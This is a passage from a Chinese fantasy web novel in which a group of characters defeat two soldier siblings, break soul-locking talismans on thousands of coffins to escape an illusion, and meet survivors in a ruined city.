他没想到,一个无能力者,还是身体素质相较而言比较弱的女生,居然能在短短几秒内撕破僵局,逼他们陷入劣势。
伏苓看着他们,笑得眉眼弯弯:“哎呀,打中咯。”
祝无忧还在疯狂抽卡,乱七八糟的增益效果一个接一个往伏苓身上套。
林随遇扶住妹妹,看向她的伤口,眼里满是戾气。
自初见以来,他在伏苓几人面前表现出来的一直是随性、温和的形象,此刻却在林随安受伤的刺激下,明眸微眯,一脸狠戾:“你找死。”
闻言,伏苓低着头突然沉默了几秒,然后抑制不住地开始闷笑。
死寂的空间里只有她的闷笑在回荡,像高高在上的神明,在满目荒芜之时蔑视一切地随意言笑。
林随安缓了几秒,忽视肩膀处传来的钝痛直起身来,看向她的眼神带了些许探究。
这个无能力者的实力有些太过恐怖了。
伏苓抬起头,露出了那双满是兴奋和疯狂的双眸:“杀了我?你可以试试呀。”
软剑带风,她再次袭向两人。
这次,她已经知道他们的异能了——空间移动和光系嘛,起不了大浪。
她身姿灵活,身后的软剑快得只剩下虚虚实实的剑影。林随遇脚间错开,刺目的光芒霎时间铺满整个领域。
被光芒照到的地方如同千百根针扎进身体,伏苓的动作微微一顿。
他单独攻击的光杀伤力极强,而铺开的光虽然杀伤力差了一些,但覆盖面广,不易闪避,效果也没有减弱太多。
伏苓头疼欲裂,身体上不断出现伤口,鲜红的血液流淌。她满脸烦躁,砍向两人的动作愈加没有章法,刀刀蛮横。
一个林随遇就很难对付了,还有一个神出鬼没的林随安。伏苓时刻警惕,在林随安出现的一瞬间猛地袭向她。
同一瞬间,林随遇的光狠狠撞向伏苓。
三人一触即分,拉开距离。
伏苓抹了一把颊边的鲜血,笑容甜腻:“好厉害呀,真想跟你们俩一直打下去。”
她眼底泛着红,周身气质如同地狱来的恶魔,彻骨的疯魔和无所谓。这幅样子实在与之前在音乐台见到的大相径庭。
林随安微微撑地,虽然没再被伤到,但呼吸的频率不免加快,看着伏苓打了个寒颤。
林随遇也没好到哪去。虽然他方才的攻击确实非常强大,却异常耗费体力。
两人看向伏苓的目光异常凝重。
到这时候,林随遇已经丝毫不敢再轻视她了。
他意识到,这个无能力者非常难缠,难缠到比他们之前遇到的任何一个异能者都要让他们头疼。
——即使她的原始基本素质低于男人,但她多半是经历过数不清的训练和战斗,让她如今的身体素质异于常人,凭借后天努力突破男女生理上与生俱来的巨大差距。
而这种人,往往才是最令人畏惧的。
天生的强者只要实力压他一头,自然有办法取胜,但原本柔弱不堪的野草却只会在一次次的打压下愈发茁壮,越战越勇。她不会仰望自己与强者之间的鸿沟,反而只会去思考如何打破差距,超越所有人。
更别提还有一个不断为伏苓增益和给己方下负面的祝无忧。
林随安咬着牙。
如果再不想出办法,她有预感,今天一定会栽在这里。
伏苓笑嘻嘻地甩了甩软剑上的血迹:“忧忧,开全场。”
全场?什么意思?
林随安惊疑不定地看向祝无忧。
后者根本没犹豫,当机立断抽出一张全场牌。
“全场异能消失一分钟。”
祝无忧的声音回荡在广阔的场地,带着隐隐的兴奋。
什么叫异能消失?
林随安脸色大变。她突然发现,自己的异能确实使用不了了。她猛地看向林随遇,后者也是一脸严肃,俨然一幅与自己一样的状态。
林随安的呼吸开始颤抖。有异能打伏苓只能微微占据上风,如今己方更是失去了异能,这场到底要怎么打?
她不免有些绝望。
而另一边,祝无忧已经准备提前庆祝了:“哇哦,好实用的牌啊!”
全场牌因为对双方都有效果,所以增益和负面效果都比单纯的增益牌、负面牌强上一大截。
没想到一下抽中这么完美契合伏苓的卡牌。
祝无忧嘿嘿一笑。
不愧是小吉,果然很幸运。
但她还是有点担心的:“伏苓,一分钟够吗?”
从听到这张牌的效果开始,伏苓的眼底的笑意怎么遮都遮不住,她面上露出小小的得意之色,像电视剧里的背
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后大反派,她轻飘飘道:“用不着一分钟。”
在她看来,十五秒足以解决这两人。
林随安咬牙:“你别得意,我们出身军队,身手都是最强的,你未必能赢。”
这话没有作假,他们俩确实是集庆军队中的王牌。
闻言,祝无忧的兴奋也下去了些。
是哦,如果是军队里面出来的话,那他们俩的身手确实不容小觑。身为普通人的伏苓都这么强了,他们俩不会更强吧?
祝无忧有些担心。
但伏苓丝毫不怵,她笑弯了眼:“那就试试吧,小可爱们。”
她应声而动,速度极快,软剑几乎是同时打向两人。林家兄妹一左一右地避开,但软剑灵活地像一条在水里的蛇,轨迹捉摸不透,两人根本没办法避开,刀刃划破皮肤,鲜血涌出。
受伤之后,行动速度就更慢了。伏苓没再继续用能量枪,但凭软剑就已经将他们打得节节败退。
林随遇撑住膝盖:“不行,这样下去我们不可能赢。”
林随安一言不发,汗水从她的额头落下,滴在睫毛上,濡湿一片。她的眸子冷静地观察着伏苓的动作,试图找出破绽。
伏苓轻巧落地,思索了两秒,突发奇想道:“啊,那我不用软剑了吧。”
她想一出是一出,直接将软剑收回腕间,赤手空拳地袭了上去。
林随安没想到她竟然会突然收回武器,但在纯靠身手的比试下,或许他们能胜!
她厉声道:“哥哥!”
他们两个人,打她一个还能打不过吗?
两人对视一眼,一起冲了上去。
伏苓一掌包住林随遇的拳头,顺着惯性卸去力道,她手臂发力,将林随遇直接一个过肩摔砸在地上。
与此同时,她下腰躲过林随安的攻击,借力横扫向她的下盘,毫不怜香惜玉地将人扫翻在地。
仅仅五秒,站着的人只剩下一人。
伏苓看向祝无忧,得意地晃晃脑袋:“掌声在哪里?”
祝无忧回过神,像只小海豹一样啪啪开始鼓掌,边拍边激动地叫唤:“伏苓牛逼!”
伏苓满意了,她微微勾唇,扫了一眼还在挣扎的林随遇,将能量枪在指尖转了一圈,抵在林随安的太阳穴上。
霎时间,两人一齐僵住。
林随遇看向伏苓的目光满是怒意和惊恐:“你!”
伏苓笑得眉眼弯弯,模仿着能量枪的声音:“砰。”
“等等!”林随遇的防线被彻底击溃,他连忙道:“别,你们想怎么样都可以谈,别伤害随安。”
林随安深呼吸了两下,冷静道:“你对我没有杀意,我能看出来。”
伏苓歪头“哦”了一声:“是吗。”
“你们跟着我们到这里,是因为之前那句‘不是真人’吧?”林随安抑制住言语的微微颤抖,尽量心平气和地刨析现状。
“如果我没猜错的话,你们应该是发现了集庆的异样,或者说,你们被迫拉进了集庆的异样中,正在寻找破局之法。”林随安说,“在这一点上,我们的目的或许是一致的。”
16. 守护者的黑色堡垒08
空气有一瞬间的寂静,林随安的汗水不断落下。
实际上,这些也都只是她的猜测,她只是在赌,赌伏苓的目的是为了解决问题,而不是杀了他们。
她自认为自己的猜测有八分对,唯一的变数是眼前这个拿枪指着自己的女子,阴晴不定,实力骇人,一开始战斗就兴奋起来,这样的人做事多半是为了好玩,也可能仅仅因为好玩而不顾情况地杀人。
所以,说实话,林随安不敢肯定她不会杀自己。
她思绪纷飞,已经开始思考如果伏苓突然发动攻击,她该怎么躲过这记杀招,一直抵着她的枪口突然移开。
林随安愣了一下,抬头看去。
伏苓抱着臂:“是吗。”
赌对了!
林随安狠狠松了口气:“对,如果你们是想逃出去,我们可以合作!”
“我和随安很早就意识到这里的不对劲了,突破点就在这个光柱上方,但不知为何,我们怎么也没办法靠近。”林随遇见危机解除,顿时放松下来,解释道。
林随安愣了一下:“你知道?”
这么长时间以来,她每次提起这个话题林随遇都会用别的话题岔过去或者直接装傻,她还以为哥哥吊儿郎当的根本没意识到不对。
现在想想,林随遇恐怕早就知道了点什么。
林随遇看了她一眼,又扫了一眼伏苓:“……我又不傻。”
这么明显,他怎么可能察觉不到?只不过是意识到根本无法自己脱离,必须借助外力,无奈之下才随它去了。
伏苓还没说话,光柱旁落下来了一道人影。
程承也不怕疼,仗着有血兔在就直直从高处跳下来。看到下面的场景,他立马猜到伏苓赢了。
他顿了顿,看向林随遇,直入主题:“你们知道幻境的事情吗?”
“知道。”林随遇冷静异常,他意识到程承恐怕是发现了什么,问道:“你在上面看到了什么?”
程承沉默了两秒,面色复杂:“尸体,很多、很多的尸体。”
*
五个人里面只有程承能靠着异能上去,据说林随安原本可以瞬移上去,但不知为何靠近光柱后她的异能就无法使用了。
没办法,三人只好围着祝无忧抽卡。据她所说,增益卡里有飞行卡,只不过比较难抽。
祝无忧苦着脸抽了十几张,连“猴毛分身”都抽出来了,愣是没抽到一张飞行卡。
他们需要四张,这样下去得到什么时候?
伏苓有点烦躁:“你行不行?”
第一次被这么多人围观抽卡的祝无忧都快哭了,支支吾吾道:“其实我是非酋……”
伏苓叹了口气:“我能不能抽?”
祝无忧立马将卡牌递上来,仿佛卸下重担:“可以可以。”
伏苓不知道自己运气怎么样,她随手抽了一张。
“增益*飞行”。
祝无忧:“……”
祝无忧后槽牙咬碎了。
程承挑眉。
早知道这样,为什么不一开始就让伏苓抽?
看到伏苓这么随手一抽就抽到想要的,林随遇顿时来了兴致,他搓搓手:“我试试我试试。”
他装模作样地祷告了两声,闭着眼睛抽了一张怼在林随安脸上:“快帮我看看出了没?”
林随安声音毫无起伏:“增益*减速。”
林随遇愣了两秒,猛地转头:“为什么增益里面还有减速?”
祝无忧被这人的手气逗笑了,她毫不客气地嘲讽:“每套牌里面都有特殊卡牌,一套里面就一张,居然都被你抽到了,哈哈哈!”
她笑得不可开支:“世界上真的会有运气这么差的人吗?”
林随遇把牌一扔,抱臂赌气:“不好玩。”
祝无忧擦擦笑出来的眼泪,将牌递到林随安面前:“随安姐要来试试吗?”
林随安看了她一眼,低声道了句谢,然后抽了一张。
“增益*飞行”。
祝无忧:“……”
她不信邪地把牌塞给程承:“你也抽!”
程承垂眸,余光中,伏苓瞥向自己,带着些许好奇。他勾了勾唇,抬手抽了一张。
“增益*攻击增加”。
祝无忧舒了口气:“还好还好,起码你没到伏苓和随安姐那种地步,跟我比也差不多嘛!”
她洗了洗牌,笑得幸灾乐祸:“而且林随遇运气最差。”
林随安忍不住偏头笑了一声,拆台道:“哥哥运气一直不好,之前超市抽奖就剩两个他也能挑中‘谢谢惠顾’。”
“随安你怎么能这样!”林随遇跳了起来,强行挽尊:“这是一种强者的象征,你们懂不懂?”
祝无忧将洗好的牌塞进伏苓手里,冷笑一声:“你别自欺欺人了。”
伏苓垂眼看向星牌,左手一张右手一张。
全是飞行牌。
祝无忧闭眼。
人不能,至少不应该欧成这样。
但不管怎么说,四张飞行牌确实凑齐了。生效的瞬间,牌面化成两扇翅膀扑棱扑棱了两下,带着一群人上了天。
荒诞中带着一丝合理。
一片死寂中,祝无忧左看看右看看:“怎么了?我觉得挺好的啊!很有风格!”
伏苓:“我感觉我们像群扑棱蛾子。”
其他人没说话,但显然也是这么认为的。
“额……”祝无忧摸摸鼻子:“我这套牌确实不太正经。”
但异能的生成就是以宿主的性格为基础,就凭这副牌的缺德样子,就能判断出祝无忧的性格。
感受到众人从四面八方看过来的目光,祝无忧闭嘴微笑。
光柱很高,高到林随安不由得看了程承两眼。
这样的高度,这个人居然能靠着自己的异能上去。
他的异能到底是什么?
程承察觉到了她的目光,但他没在意,出口就在前方,他一个飞身翻了上去。
入目是辽阔的室内场地,光线昏暗,里面整齐地排放着密密麻麻的……棺材。黑色的漆面在微弱的光线下反射出诡异的光泽,棺材板上绘满了深红色的符咒和奇异的图案。寂静笼罩,腐朽的气息扑面而来,诡异异常。
室内阴冷干燥,祝无忧打了个寒颤,缩到了伏苓身后。
林随安愣了几秒,冷着脸扫过棺材:“这么多……里面都是有人的吗?”
若如她所说,集庆死了这么多人吗?
程承点点头,脸色沉重:“对,我刚才开了几个棺材,里面都是真人。”
“这……这不可能吧?”祝无忧说,“这里目测起码有上千人了啊。”
林随安上前一步,长生板上画着血色符文,形状扭曲复杂,隐隐约约带着阴冷的气息。
她拧着眉,突然开口:“这道符我见过。”
众人的目光看向她,林随遇也凑过来看向那道符文。
他们俩出门基本上形影不离,林随安见过的他自然也见过。<
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p>他一眼认出,惊呼一声:“锁魂塔?”
集庆有一座锁魂塔,其实本地人都知道,但毕竟是封建迷信,如今大家都信奉科学,早就不再太过相信这些了。
但此刻,那塔上的符文就这么一笔一划地复刻在了面前的棺材上。
林随安脸色凝重起来:“我之前查过锁魂塔的符,就跟塔名一致,有锁魂、镇魂之效。”
GE闪了一下,信息出现在镜面上。
伏苓跟林家兄妹打架的时候就没摘下眼睛,林随安无意扫到一闪而过的红光,若有所思地将目光停留在了GE上。
伏苓两眼扫完镜面上密密麻麻的信息,言简意赅:“头七过后锁魂符才会起效。”
“所以他们要求我们在底下待满一周,是因为我们的身体在这里等待被锁魂?”程承抬眼,看向林随安,“但如果是这样的话,你们俩的魂魄岂不是已经被锁住了?”
林随安皱着眉对上程承的目光。她其实也在思索这个问题。
如今看来,下面的世界似乎只是一个幻境,他们以魂魄的形态活在虚幻中。而在真实世界,他们的身体早已被锁在棺材里长达数年。
她喃喃自语:“原来是这样。我们的魂魄被锁住,所以异能和身体都被限制,也就无法突破幻境。”
这也是为什么他们一靠近光柱异能就会消失。身体被关押,一介魂魄自然只能任人宰割。
程承的目光在周围无数棺材中流转一圈:“所以,我们的身体可能都被关押在这里。破坏棺材是不是就能从幻境中解脱出来?”
祝无忧终于冒了点头,她颤颤巍巍:“求你了,别说那是我们的棺材。”
太吓人了。
程承看了她一眼,祝无忧又把脑袋缩了回去。
伏苓也不忌讳,懒懒靠在棺材上:“一个个找下去要到什么时候,给他们全抹了。”
闻言,林随安干脆利落地抹去她身侧棺材上的符文,踹开长生板,里面躺着的人紧闭双眼,看不出生机。
她对集庆的人都挺熟悉,当下就认了出来:“这是小陈,总是去音乐台的那人,你还记得吗?”
她看向林随遇,后者点点头。
长生板上的咒文被抹去,按道理说,锁魂的效果就会消失。几人说话的间隙里,躺着的男人幽幽醒来:“……这是哪?”
有用!
几人迅速分散开,以极快的速度一个接一个地抹符文。
伏苓暴力一点,软剑游走起来破坏力惊人,她直接一剑干碎了十几块长生板,进度一骑绝尘,直接领先其他人一大截。程承和林随遇的异能范围大,红雾弥漫,光束刺目,眨眼间就抹去了一排的符文。
只有祝无忧手动抹着,跟其他人比起来简直龟速。她左看看右看看,控诉道:“你们这像话吗?”
林随安扶了一下小陈,询问道:“还好吗?”
小陈恍恍惚惚道:“这……我不是在音乐台吗?”
他扶了一下身侧的棺材板,冰凉的触感让他整个人一激灵:“卧槽,这是什么?”
他连滚带爬地从棺材里爬出来,吓得涕泪横飞:“我怎么在棺材里啊?”
被打碎的棺材内陆陆续续爬出来了一些人,有的神情恍惚,有的面露惊恐。但无一例外,都是幻境里的人。
林随安看着密密麻麻的棺材,沉默了片刻。
幻境里不可能只有几千人,剩下那些人的身体去哪了?
到底是谁?为什么要这么做?目的又是什么?
17. 守护者的黑色堡垒09
她不禁有些后背发凉。
忽然,身体仿佛虚幻了一瞬,昏昏沉沉的眩晕感让她下意识闭上眼睛,又很快睁开。
入目是被击碎的长生板,碎裂的木块稀稀拉拉地掉落在她的身体上。
只一眼,她就知道这长生板上的符文是谁抹的了。
伏苓的个人风格实在太强了。
“伏苓你不要这么暴力啊啊啊啊!”她右侧的棺材内传来了林随遇的怒吼声。
她沉默了一瞬,暗地里给自家哥哥点了个赞,然后活动着僵硬的四肢,扶着棺材壁爬了出来。
伏苓也刚从角落的棺材里爬出来,程承不知道什么时候出来的,伸手扶了她一下。
她那块长生板还是完好的,所以体会不到躺在被她击碎的棺材里的人的感受。
闻言,只扫了林家兄妹一眼,就再次加入抹符文的队伍。
魂魄归位,几人的异能愈发强大,抹符文的速度快到极致。
不一会,所有符文就抹干净了。
程承扫了一眼逐渐爬出来的人群,他皱了皱眉:“你们看到那个西装男了吗?”
伏苓有些疑惑地看他,程承解释:“就是进宾馆的时候站在门口的那人。”
伏苓摇摇头,她敲长生板又没看人。
祝无忧没抹几个,但都是她亲手勤勤恳恳抹的,如今累得瘫在伏苓身上,下巴搁在她的肩窝,有些惋惜地摸着自己变回原样的头发:“我也没看到。”
林随安走了过来:“少了很多人,集庆不可能只有这些人。”
“也不一定啊,”祝无忧小声说,“这七年动荡成这样,我们临安就只剩下这么多,甚至比你们还少……”
“不一样的。”林随遇声音带着一点冷意,“集庆这里不一样。”
这里是军区所在。
灾难发生时,集庆的反应速度是最快最有序的。或许别的地方可能因为支援不足而沦陷,但集庆绝不可能出现这种情况,因为这里就是一切支援的起点。
如果集庆真的只剩下这么点人,那军区也没什么存在的必要了。
“哦对了!”突然想到了什么,祝无忧举手:“程承的棺材是我开的,上面没有符文,就是单纯的一块长生板。”
程承点点头。
根据已有信息,符文的存在只是锁魂,他们的魂魄离体不到24小时,多半也不会在这时候画符,起码也得等到第七天……
想到这,他突然愣了一下,脑中灵光闪现。
“七”这个数字很特殊,与魂魄有这密不可分的联系。
他看向林随安:“你们进入幻境有七年了吗?”
如果他没记错的话,之前在音乐台,林随安说的是“待了七年”。
进入幻境多久……
林随安有些恍惚,时间过去太久,她已经记不得到底有没有待够七年了。
“还差一天。”林随遇突然开口,他靠在一边的墙壁上,微微低头,嘴角一直勾起的弧度变得平直。
林随遇不笑的时候格外生人不近:“我记得很清楚,我们进入幻境是因为当时军区派了我们俩去调查三号线的事情。”
三号线一出事,他们俩就立刻前往查看情况,还没将群众疏散,三号线就坍塌了。
雨水倒灌,整条地铁线惨不忍睹,无数民众被浸泡在雨水中变成了见人就咬的感染者。为了防止事态进一步扩大,也因为地铁线内的人几乎都不再是正常人,上级下命令直接炸毁所有线路。
当时,他是执行命令的人。
全线坍塌后,他还没来得及回军区复命,便莫名跟林随安就进入了幻境。
幻境确实能很大程度地减少进入之人对以往的回忆次数。但林随遇对那一天的事情记忆太深刻了,他忘不了,所以也更加深知如今世界的虚假。
三号线早就坍塌了。
是他眼睁睁看着坍塌的。
他第一次看到幻境里正常运行的地铁时,鸡皮疙瘩从手背麻到头顶。
他不敢坐地铁,也不敢让妹妹坐,也尝试过劝说其他市民不要去坐地铁,但很可惜,没有人愿意听他的。
只有林随安,于是不管多远,两人都是走着过去的。
林随遇声音坚定:“是明天,明天是我们进入幻境的第七年。”
他的声音唤醒了林随安脑中内幻境隐藏了七年的往事,像一记响亮钟声抚开层层迷雾,幻境导致的记忆缺失在一瞬间恢复,七年前的惨状浮现在她脑海,她一时之间有些站不稳。
祝无忧大概猜到是地铁的事情,小心地拍拍她的肩膀,声音轻轻:“你可以靠着我。”
林随安看着她清澈的眼睛,带上了些许哽咽:“谢谢。”
程承分析道:“所以七年也是一个分界点。我在想,是不是所有超过七年的人都已经出不了幻境了?”
伏苓插嘴:“那他们的身体呢?”
众人皆是一阵沉默。
不在这里的话,他们的本体究竟会发生什么,众人已经不敢想下去了。
伏苓敢想:“死了?变成感染者了?”
反正不可能活着。
制造幻境的人费这么大功夫,肯定不可能让那些已经落入他手中的人活得好好的。
伏苓抬手,将剑柄指向前方:“出去看看不就知道了。”
她方才就在靠近右侧的一排棺材敲长生板,早就注意到了那处大门。
黑色的,跟周围墙壁融为一体,除了伏苓,其他人还真就没意识到那还有扇门。
周围的人群还在恍惚着,他们几人对视一眼,果断朝着大门走去。都已经到这了,畏畏缩缩的只会浪费时间,对于这一点,他们倒是意见统一。
程承率先推开大门。
“吱呀”的一声。
祝无忧起了一身鸡皮疙瘩,又跳回了伏苓身后。
林随遇扫了她一眼,嘲笑道:“亏你还是异能者,天天躲人家无能力者身后也不知道害臊的。”
祝无忧微笑转头,字字见血:“你打得过伏苓吗?”
林随遇微笑闭嘴。
他还真打不过。
林随遇这人最是懂什么叫识时务者为俊杰,在被祝无忧点醒后,意识到自己确实打不过伏苓后,他果断地也躲到
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了她身后。
伏苓瞥了一眼缩在自己身后的两人,对上了林随安无奈的目光。
“这里才是真正的集庆吧。”程承的声音传来。
他转过头,本来想跟大家说小心行事,却没想看到了一大一小死死躲在伏苓身后,甚至还暗暗互相踩了两脚。
他短暂地沉默了一瞬,对伏苓和林随安道:“走?”
伏苓点头,跟着程承便往门外走,但后面还拖着两个人,导致她第一步走得格外艰难。她闭了闭眼,咬牙:“松手。”
祝无忧和林随遇瞬间乖乖松手。
林随安踹了林随遇一脚:“正经点。”
林随遇比了个遵命的手势,跟上了他们。
大门外的天空灰蒙蒙的,街道上空无一人,绿化带上本该郁郁葱葱的梧桐不知被什么东西击倒在地,枝干枯萎,落叶不知所踪。刺骨寒风吹过,让人忍不住打了个哆嗦。
满目的荒凉与幻境中的世界差距太大,冲击力实在是太过强烈。
伏苓看了一眼身后的建筑,问:“这是集庆体育馆?”
林随安回过神来,顺着她的目光看去,语气满是怀念:“嗯,但之前体育馆不是这个样子的。”
七年带来的变化太大,让林随安都有些认不出了。
伏苓点点头,率先向前走去:“别愣着了。”
几人有些沉默地向前走去。这里更像是一座空城,几乎听不到什么人声。
祝无忧觉得有些瘆人,主动找话聊:“诶,对了,你们为什么会守在军区中心啊?跟副本boss似的。”
“不知道,就是下意识想阻止其他人进入中心。多半是被利用了。”她苦笑一声:“这么看确实像副本boss。”
她看了一眼伏苓:“但我们这boss还是当得不太行,如果是伏苓的话,应该会比我们做得更好。”
祝无忧想象了一下,皱巴巴道:“她当副本boss?那我干脆自我了结算了。”
林随遇感同身受:“确实,而且要是她的话,那这副本设计者根本就不想让人通关吧?”
程承罕见地加入群聊:“所以你们到底发生了什么?”
林随遇耷拉着脑袋:“你们家牌佬抽中了一张全场牌。”
祝无忧跳了起来:“你才是牌佬!”
程承好奇:“全场牌?”
他还没见祝无忧用过。
林随安心有余悸地“嗯”了一声:“全场异能消失,非常恐怖的效果。”
程承愣了两秒,看向祝无忧:“你还有这种牌呢?”
祝无忧不好意思地“嘿嘿”两声:“因为我太非了,所以不敢抽全场牌。”
要是自己抽到一个不利于己方的效果,她还不得被人骂死?
她思维跳脱,开口又是另一个话题:“我们刚刚是飞上来才到了地面,所以幻境是在地下?”
“毕竟是魂魄,在地下也正常。”林随遇叹了口气。没想到他也有变成地缚灵的一天。
“哦,对了。”程承想了想,还是决定问出口,“你们军区,可能是这件事情的背后指使吗?”
18. 守护者的黑色堡垒10
林随遇微微一愣:“你是说把大家锁在棺材里?绝对不可能。”
“我们进入集庆的时候被警卫拦下,上了一辆大巴入城。这本来没什么,但怪就怪在,魂魄剥离的时候,我们就在车上。”程承把刚进入集庆发生的事情简单说了一遍,“所以我们在想,是不是军区的命令,或者,那些警卫并非军区的人?”
“因为危险阻拦你们进城?”林随安听到了重点,皱了皱眉,摇头,“我更倾向于那些警卫并不是军区。如果军区要派人守城门,只会阻拦感染者,不会拦其他人以及拒绝个人的私有财产进入。就算进来的人可能心怀不轨,我们也不会将他拒之门外,守护百姓是我们的使命,哪怕是恶徒,也有被保护的权利。”
“为什么呀?一个坏人,不是死了刚好吗?”祝无忧好奇道。
林随安耐心解释:“但是你怎么去判断这个人是不是已经严重到可以让他去死的地步了呢?比如一个人抢劫,你可能觉得他罪不至死,那一个人非法持枪,非法造枪呢?”
伏苓:“……?”
远在临安的方休猛地打了个喷嚏,他挠挠头:“谁咒我呢?”
祝无忧尴尬地看了一眼伏苓,讪笑两下:“这不是情况有变嘛,哪能跟之前的社会秉承一样的量刑规则呀。”
“嗯,也是。那我再举一个例子,”林随安依旧语气平静,“背景就在当下,一个□□犯和一个恶意杀人者,你只能选择一个人去死,你会选哪个?”
祝无忧犹豫着没立刻回话。
“一个人不可能完全理智的,有人会选择前者,有人会选择后者,选择的原因可能是愤怒,可能是感同身受。”林随安继续道,“如果将判罪权利交给每一个人,在救人的时候,你一定会去想,我要不要救他?他可能是小偷,是抢劫犯,是杀人犯,又或者是其他犯罪者。一旦在救人的时候思考这些,我们就不会竭尽全力去救下一个人,反正他也可能是一个犯罪者。这样一来,会有很多罪不至死的人会因此丧命,社会会乱了套,民众将陷入弱肉强食的原始社会,我们构造了五千年的道德体系将全面崩塌。”
微风吹过残败的落叶,将它吹起又摔落在地上。
祝无忧似懂非懂地点点头:“所以,我们需要一个相对来说比较公正的人,比如军区,来统一量刑。”
林随安笑了:“嗯,你很聪明。”
林随遇插嘴道:“其实就是军区希望即使在乱世也能尊重人权,不用极端的方式去剥夺一个人的生命。罪犯也有活下来的权利,他们需要被处于配得上他们的处罚,比如枪毙啊什么的。这跟之前还是和平年代的时候差不多。用一腔愤怒去量刑,那司法公正还要不要了。”
祝无忧:“……”
林随安短暂回答了祝无忧的问题后,回到话题:“所以你们在城门遇到的,一定不是军区的人。”
他们聊上一个话题的时候,程承始终皱眉思索,闻言立马答道:“也就是说,那个警卫可能是制造幻境一方的人?可他们是怎么逃过军区的眼睛,大张旗鼓地守在城门边的?”
林随遇耸耸肩,“我们在幻境里待的时间太长了,对现在的情况到底是不了解。在这猜也没什么用,要不去看看?”
几人正聊着,伏苓耳朵动了动,突然停下脚步,侧头向一边看去。
不知从何时开始,其他四人隐隐有了以她为首的意思,见到伏苓停下,他们都下意识停下脚步,顺着她的目光看去。
那边是个岔路口,破败的墙壁上爬满了扭曲歪斜的藤蔓,微风拂过,发出轻微的声响。
但很明显,那里没什么人影。
众人有些茫然,似乎不知道伏苓为什么会看向那边,但出于对她的信任,几人还是开始飞速观察周围。
四周一片寂静无声,祝无忧压低声音询问:“怎么了吗?”
伏苓没说话,这是抬手示意她安静。
空气瞬间凝固下来,只剩下风吹过地面,卷起残叶的清脆声响。
在捕捉猎物的时候,耐心和预判是最重要的前提。
显然,伏苓是个合格的捕猎手,她安静地等了两分钟,那处拐角才隐隐约约发出声音。
很轻。
但在场众人都听到了。
他们紧绷着肌肉,死死盯着那处拐角。
伏苓似乎是突然意识到了什么,突然一改方才谨慎的模样,出声:“有不少人。”
她声音不大,但在寂静的空气中格外显眼。
“谁在那边?”中气十足的声音从拐角处传来,紧接着,脚步声纷乱。
“十几个人。”程承顺着推测了一下。
很快,那队人便出现在了众人面前。
他们身着军装,但却衣衫破败,背负着沉重的武器,身上满是泥土和灰尘,难掩疲惫。
为首的一位男子抬手,身后的人安静下来,警惕地看着众人。
那男子微微颔首,发问道:“你们是谁?”
伏苓声音懒散,目光落在这些人身上,心中隐隐有了些许猜测:“路过的。”
许是见他们都是新面孔,那男子暗中松了口气:“原来是这样,不好意思,误会你们了。但是,集庆现在非常危险,你们还是尽快出城吧。”
“危险?”这可和当时守城卫兵的说法完全不一致。程承对上他的目光,礼貌问道:“但我看这里也没什么感染者啊?”
那男子苦笑一声:“不,集庆的危险不在于感染者……”
他话语还未落下,侧边忽地响起一道枪声,男子下意识朝着声源处看去。
身后的战士们猛地大喊:“队长小心!”
他瞳孔微缩,努力调动着自身的肌肉,试图躲开。
但再怎么反应迅速也不可能躲过这道几乎近在咫尺的攻击。
时间仿佛放慢了脚步,每一秒都显得漫长而沉重。死亡的阴影笼罩在自己身上。
他自觉,今日恐怕是要栽在这里了。
一瞬间,无数回马灯涌上心头,曾经的一切,如放电影一般在他眼前划过。
如果、如果林队还在……
“砰”。
红雾成墙,光芒万丈,与子弹撞击在一起。
那男子被撞击后产生的能量波撞到在地,风沙刮过,他愣愣地看着挡在自己面前的异能。
身后的人赶紧上前:“队长!你没事吧?”
但那男子却像是没听见一般,蓦地回神,转头,看向了伏苓身后的人,对视的那一瞬间,他眼底不自觉地涌上泪来:“林队……”
林随遇的异能他永远都忘不掉,那是队中唯一的、杀伤力最强的光系异能。
只是可惜,当年死在了那场地铁事故中。
但他怎么也没想到,林随遇居然没死!甚至……
他看向林随安,眼泪止不住地流下,喜极而泣:“随安!你也没
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死,太好了,太好了……”
他情绪激动,一句接一句地说着“太好了”。
程承没管他们,红雾飞速向攻击方向涌去。伏苓甩出软剑,飞身跃去。
周围寂静一片,她站在断墙上,扫了一圈,冷声道:“跑了。”
稀奇,这还是第一个从她手里溜掉的人。
伏苓短暂地升起一股躁动,想将此人狠狠地踩在脚底下。
红雾也没找到什么,缓缓收回。程承摇了摇头:“跑这么快。”
伏苓跳下墙头:“反正明天他们也会去体育馆,不是吗?”
明天是林家兄妹进入幻境满七年的时间,如果他们推测得不错,那幕后之人一定回去带走他们俩的身体。
不管他们制造幻境是为了什么,像林家兄妹这么强劲的异能和身体素质,伏苓觉得背地里的人绝对垂涎已久。
那边几人已经聊了几句,见伏苓和程承走近,那男子介绍道:“你们好,叫我谢增就好。”
也不知是不是因为在棺材里待了七八年,林随遇和林随安的容貌与之前相较不大,而原本与林随遇年纪相仿的谢增看上去要老了十岁。
林随安看了眼他身后面露疲惫的战士们:“能不能给我们讲讲这几年发生了什么?”
他们从幻境出来不过半小时不到,却已经察觉到了如今形势的复杂。
集庆多半是有一个民间组织与军区对抗,甚至他们的实力要在军区之上,否则这些战士们不可能这么疲惫不堪。
说到这个,谢增叹了口气,他的眉始终蹙着,如今又多了几分愁虑:“当年你们消失后,上级才研究出雨水中所蕴藏的物质,总的来说,就是被雨水淋到的人会变成异能者和无能力者中的其中一个,概率未知。在这种情况下,军区自然不可能让战士们去冒险淋雨以求一分成为异能者的概率,所以直至现在,军区中的异能者屈指可数。”
“而与之相对的,民间的异能者队伍逐步壮大,发展成为一个足以与军区抗衡的组织。他们追求极致的力量,为此不惜伤害民众。”谢增说。
这段话里的信息太多,几人愣了几秒。太多疑问想问出口,却被谢增打断:“我知道你们有很多问题,之后我会跟你们一一解释,但现在当务之急是找到体育馆。”
体育馆?
祝无忧指着身后巍峨的建筑,愣愣道:“不就在那吗?”
谢增顺着她指的方向看去,一脸茫然:“哪呢?”
他神色不似作假,程承抛开方才接收到的巨大信息量,皱眉反问:“所以,你们看不到体育馆?”
看来促成这一切的组织将每一步都算好了,为了安全放置身体,他们将体育馆从军区眼皮底下屏蔽。
不过这是什么异能?他们又是怎么做到的?
原先程承以为造成这一切的只好有两人——不,现在来看,起码得有三人。
剥离魂魄,制造幻境,还有创造体育馆下的那块空间。
除此以外,还有屏蔽体育馆的异能?
程承摇了摇头。
也不对,如果只是屏蔽体育馆,那军区在这里扫荡这么长时间不可能没有摸到体育馆的墙壁。
或者……他们是把体育馆也纳入了另一块空间?
